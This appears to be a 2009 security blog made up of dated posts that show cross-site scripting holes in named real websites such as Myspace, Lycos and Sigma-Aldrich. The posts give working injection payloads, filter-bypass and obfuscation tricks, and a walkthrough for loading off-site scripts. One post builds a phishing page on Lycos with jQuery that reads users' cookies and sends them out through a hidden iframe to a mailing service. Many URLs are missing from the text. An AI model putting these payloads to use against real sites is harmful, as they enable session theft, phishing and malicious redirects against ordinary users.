This site is soon to be deprecated by

Sunday, October 4, 2009

Bypassing Revisited -

The technique I previously blogged about still works, but has fixed the XSS vulnerability used in that posting. Here's a hole in another whitelisted site:')}window.location='';{('

Just as before 01 is prefixed to the XSS redirect URL, then the result is Base64 encoded and appended to

Wednesday, September 30, 2009

Persistent XSS Vulnerability -

Here's a good one: Google Sidewiki has a type 2 XSS vulnerability. Upon editing an entry (and possibly when adding one, I didn't test it) an HTTP proxy such as Fiddler can be used to alter the pagetitle field.

The code replacing the pagetitle value is as follows.
<<a>a onmouseout=alert(0)>a

The a tag is stripped out, but as only one pass is performed a new a tag is created.
<a onmouseout=alert(0)>a

The result is a profile containing the arbitrary code.

Friday, September 25, 2009

Persistent XSS Vulnerability -

The profile description field of Intense Debate has a type 2 XSS vulnerability. Using it, arbitrary code can be run when the affected profile is viewed or when the mouse cursor is over the avatar present next to comments posted by the account.

<a style="position:absolute;top:-500px;left:-500px;width:9999px;height:9999px;" onmouseover="alert(0)"></a>

Saturday, September 19, 2009

Persistent XSS Vulnerability -

Several of the fields of Associated Content profile system have persistent XSS vulnerabilities. Such a vulnerability could be used to craft a rather nasty worm.

The code shown in the screenshots is as follows:


Thursday, September 10, 2009

Leveraging Existing CSS -

Stickam's filters are quite strict; attempting to inject a script tag results in an internal error page. The same thing happens with a variety of other tags, any event attribute, certain CSS property values (e.g. setting position to absolute) and even many of the site's CSS IDs and classes. But the filters miss some of the ID selectors that set the element position to absolute, and this can be utilized to cover the entire page with a link."<a id="cboxTitle"style="height:9999px;width:9999px;"href=""</a>

Monday, September 7, 2009

Sidestepping Filters -

Because the of the lack of HTML encoding, tags can be injected using the search forum search feature assuming no results are found. Testing this with H1 tags yields the expected results.

However, attempting the same thing with script results in the page being rendered only up to to the opening tag.

But by adding a single character after the closing script tag, the filter causing this behavior can be sidestepped.<script>alert(0)</script>f&act=RSR&forumID=8

Friday, September 4, 2009

Exploiting The Meta Tag -

Despite the lack of HTML encoding of data passed to the vulnerable market field, tags cannot be used as sending a less than character followed by any alphabetic character redirects the user to a presumably security related error page. But by injecting the http-equiv attribute, the vulnerable meta tag can be repurposed.;"http-equiv="refresh"

Sunday, August 30, 2009

Insecure IFrame -

The Myspace volunteer search results are embedded in the page using an IFrame, its source set by the searchresults field of the query string. Because no checks are performed on the URL specified by the field, any can be used. The result is a hard to detect XSS vulnerability; it even works with Internet Explorer 8 despite the new anti-XSS measures.

Sunday, August 16, 2009

Bypassing Myspace IM XSS Filters -

The filtering Myspace IM uses is rather aggressive. Regardless of context, document. is changed to document· and eval() to ..). By using percent-encoding and JavaScript escaped hex sequences this can be circumvented.

The vulnerability (only works when logged in):"};alert(0);var x={"":"

The vulnerability re-encoded to bypass IM filters:};%65val('alert(document%5Cx2Ecookie)'%29;var%20x={%22%22:%22

Sunday, June 21, 2009

Bypassing Notifications -

As a preventative measure routes all user posted links through If the linked site is not on the msplinks whitelist a notification that the user is visiting an external site is displayed, and the the user must click another link to continue. To circumvent this system, an XSS vulnerability in a whitelisted site can be used as a redirect.

Fortunately has a vulnerability. By prepending 01 to an xss redirect url, base64 encoding the result, and appending it to we can create a link that can be posted on Myspace. When the user clicks this link, no external site warnings are displayed.

The vulnerable whitelisted site:"]}}};window.location='';{{{//

A msplinks link that redirects to the xss redirect:

Thursday, June 4, 2009

Breaking Things With Null - Classifieds.Myspace.Com

Sometimes passing special characters through a query string can cause in strange behavior. Using URL encoding we can search for the null character on The result is an error page notifying the user that the server is too busy, and it just so happens that the retry link has a Chrome and IE compatible XSS vulnerability."onmouseover="alert(0);

And with styling:"onmouseover="alert(0);"style="float:left;height:999px;width:999px;margin-top:-400px

Tuesday, June 2, 2009

Getting The Most Out Of onmouseover -

Getting The Most Out Of onmouseover -
By styling a vulnerable element the inline onmouseover event can be nearly as effective as onload. Using the width and height CSS properties the chance of a user hovering their mouse over a vulnerable element can be greatly increased."onmouseover="alert(0);

Prior to styling the control the injected script is only run if the user hovers over the search input in the center of the screen."style="width:999px;height:999px;"onmouseover="alert(0);

With more screen real estate taken up by the newly styled input chances of triggering the event are better.

Thursday, May 21, 2009

Making The Best Of Things -

Despite the quote escaping being broken by the added backslash, the code below may seem secure. Note that the single quote character was left out of the test string; a search containing a single quote or <script> results in a 404 error.
s.pageName = "Search";
s.prop1 = "search";
s.prop7 = "testa.,:;\\"<>()[]{}";
s.prop11 = "0";
s.prop17 = "";
Because of the extra backslashes necessary to use quotes, calling eval or document.write with a new string literal is not possible. And with the search string converted to lowercase, String.fromCharCode cannot be called. However, nothing is stopping us from setting s.prop7 to anything we want using hex character codes then passing it to eval or document.write. Doing so would look something like this:\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x48\x65\x6C\x6C\x6F\x2C\x20\x57\x6F\x72\x6C\x64\x27\x29\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\";document.write(s.prop7);//

Saturday, May 16, 2009

Phishing With jQuery - Registration.Lycos.Com

jQuery is a wonderful tool when the need to traverse the HTML DOM arises. With only a few lines of code the layout of a web page can be drastically altered. Using an XSS vulnerability and a bit of creativity we can manipulate, turning it into what appears to be a reactivation link that users must click to keep their accounts. When the user navigates to the page, the malicious code reads the value cookie and sends it to us using an anonymous mailing service. All of this will happen transparently as the user is waiting to be redirected to

First, we need the vulnerability.'/><script>alert('Hello, World');</script> will work.

Next is the jQuery. Using it we're going to alter the title and login form, then email the cookie value by appending a hidden iframe to TestDiv. The JavaScript below should fulfill these needs, mailing to

$(this).load(function() {
$('form').html('<div id="TestDiv"></div><h3 style="color:green;margin:">Activated</h3>Your account has been reactivated.<br />Redirecting to <a href=""></a>...');
var u = '' + escape(document.cookie) + '&kind=html';
$('#TestDiv').append('<iframe style="display:none;" src="' + u + '" />');

setTimeout("window.location='';", 5000);

To obscure our code and keep the URL short we can remove all unnecessary whitespace and append it to the end of the jQuery file. Doing so would look something like this:

[jQuery] $(this).load(function(){$('title').html('Reactivation');$('form').html('<div id="TestDiv"></div><h3 style="color:green;margin:">Activated</h3>Your account has been reactivated.<br />Redirecting to <a href=""></a>...');var u=''+escape(document.cookie)+'&kind=html';$('#TestDiv').append('<iframe style="display:none;" src="'+u+'"/>');setTimeout("window.location='';",5000);});

Include the modified version of jQuery using the vulnerability and the result will look like the screenshot below.'/><script src=""></script>

Wednesday, May 13, 2009

Little or No Effort -

Given the proliferation of data driven sites, it's no surprise that XSS vulnerabilities are everywhere. What is surprising, however, is the number of high profile sites lacking countermeasures. Harvard's search page is a perfect example of this; we can easily inject a script using the oldqt field.

No tricks needed, all it takes is a script tag.

Friday, May 8, 2009

Injecting Script Tags Without Access to Less Than and Greater Than Characters -

Many times an XSS vulnerability allows for injection of JavaScript, but will (seemingly) prohibit XHTML by encoding < and > respectively as &lt; and &gt;. This certainly complicates matters, but with a little effort and obfuscation we can sidestep such preventative measures. To assist in such tasks I created XSS JavaScript Obfuscator (creative name, I know).

Let's take a look at to see what can be done with such utilities. As always the first thing we need to do is find the vulnerability. A little testing reveals that the id field is vulnerable to JavaScript injection.,:;\'"<>()[]{}&type=category
And here is the vulnerable line of JavaScript:

ForeCStdSetCookie(triggerParms["oecpp_exitPage"], "testA.,:;\'"()[]{}- page-detail-404-error", null, "/", triggerParms["domain"])
By in injecting ",null,"/",triggerParms["domain"]);var%20x%3Dnew%20Array(" we can turn the vulnerable block of code into this:

ForeCStdSetCookie(triggerParms["oecpp_exitPage"], "",null,"/",triggerParms["domain"]);var x=new Array("- page-detail-404-error", null, "/", triggerParms["domain"]);
At this point we can easily inject JavaScript",null,"/",triggerParms["domain"]);alert('Hello,%20World!');var%20x%3Dnew%20Array("&type=category

But with less than and greater than characters blocked how can we include an off-site script? This is where the obfuscator comes in. To use it, we're going to have to split our attack into parts.

Url Prefix
Url Suffix &type=category
Attack Vector Prefix ",null,"/",triggerParms["domain"]);
Attack Vector Suffix var x=new Array("
Code <script type="text/javascript" src=""></script>

Now that we've got our attack broken up lets populate the fields of XSS JavaScript Obfuscator (embedded at the bottom of this post) and generate some links for

String.fromCharCode + Partial Url Encode
String.fromCharCode + Complete Url Encode
Unescape Partial Encode
Unescape Partial Encode + Partial Url Encode
Unescape Partial Encode + Full Url Encode
Unescape Full Encode
Unescape Full Encode + Partial Url Encode
Unescape Full Encode + Full Url Encode
Unescape Unicode
Unescape Unicode + Partial Url Encode
Unescape Unicode + Full Url Encode
Hex String
Hext String + Partial Url Encode
Hex String + Full Url Encode

And here we are with several links containing obfuscated JavaScript that will inject a script tag. Testing should reveal which links work best; generally the obfuscation methods ending with a partial URL encode are the most compatible.

XSS JavaScript Obfuscator

Url Prefix

Url Suffix

Attack Vector Prefix

Attack Vector Suffix


Encoded Javascript

Partial Url Encode

Complete Url Encode

Decode Method
String.fromCharCode call
unescape partial encode call
unescape full encode call
unescape full unicode encode call
hex string
Decode Return Call

Tuesday, May 5, 2009

Insecure JavaScript -

Today we're going to examine As with many XSS exploits, this will be short and simple. Looking at the site you'll notice that they have a product search. Just as before we'll test this using our special string, testA.,:;\'"<>()[]{}

Without viewing the source it's apparent that our test string has been significantly altered. ,:;\'"<>()[]{} has been completely removed from our search, but how much of this happened client-side? Lets take a look at the current URL.,:;\'%26quot;%26lt;%26gt;()[]{}&kwCatId=

By changing the kw field to our original search string we can create our own URL and see how reliant on client-side validation the site is. Our new URL should look like this:,:;\'"<>()[]{}&origkw=testA.,:;\'%26quot;%26lt;%26gt;()[]{}&kwCatId=

Things certainly look better, but it's still possible the search is secure. To find out, we'll have to view the source of the page. Looking at the first match for testA it's apparent that our search string is encoded.

<input type="text" style="font-size:10px;width:164px;" name="kw" id="kw" value="testA.,:;\'&quot;&lt;&gt;()[]{}">

This complicates things, but an attack is still possible. Lets look at some of the other results. Near the bottom of the page is the following block of javascript:

var s_account='gsicrsk';
var s_server='';
var s_hier1='';
var s_eVar19='67340647933';
var s_channel='Home';
var s_eVar3='testA.,:;\'&quot;&lt;&gt;()[]{}';
var s_pageName='Search (internal)';

Because we have access to the single quote character, we can easily inject code here. Consider what would happen if we passed in ';var x=' as the keyword.

var s_account='gsicrsk';
var s_server='';
var s_hier1='';
var s_eVar19='67340647933';
var s_channel='Home';
var s_eVar3='';var x='';
var s_pageName='Search (internal)';

At this point we can write any javascript we want between the ; and v provided we don't use any of the encoded characters. As an example of what can be done with this, we can craft a URL that redirects to a download making it seem as is if it's coming from';window.location='';var x='

And again we can URL encode the payload.

Sunday, May 3, 2009

XSS 101 -

The target of my first post will be, the website of international chemical supplier Sigma-Aldrich. First take a look at the website itself and look for an input whose data may be displayed on the page after postback.

Fortunately for us, has a search option. Because search engines generally accept a wide array of characters and display some form of the original search string on the results page, they are an excellent attack vector for cross-site scripting. To see what sort of encoding the search goes through, we're going to use a special string:

After searching for the string, view the source of the results page and search for testA within the code. The first result should look like the javascript below.

cmCreatePageviewTag("Result Page: Product Results","SS6", "Keyword (fulltext)|testA.,:;\'"<>()[]{}|", "2");

Here we can see an unencoded, exact match of our search within a javascript string. This means we have free reign to terminate the string (as was already done with the test string), finish the function call, and inject our own code. However, with access to less than and greater than characters, we should look further to see what else can be done. The next search string match is even more promising.

That Match Your Search for "testA.,:;\'"<>()[]{}"

We're still free of encoding, and with this instance of the search string we can easily inject an HTML script tag referencing a javascript file on another server. Our script, for the sake of testing purposes, only contains an alert. The code that will be injected is shown below.

<script type='text/javascript' src=''></script>

Note that the address in this sample doesn't actually point to anything; you'll need to replace it with your own.

Next, in the URL of the results page we replace the search string with the code we want to inject. The result should look like this:<script type='text/javascript' src=''></script>

When we navigate to this URL, an alert should pop up letting us know that our off site code has been successfully run.

To better hide the payload and enhance browser compatibility we can URL encode the javascript resulting in a link that would look similar to this:

And that's it. XSS is a simple, powerful reminder to properly encode all user entered data.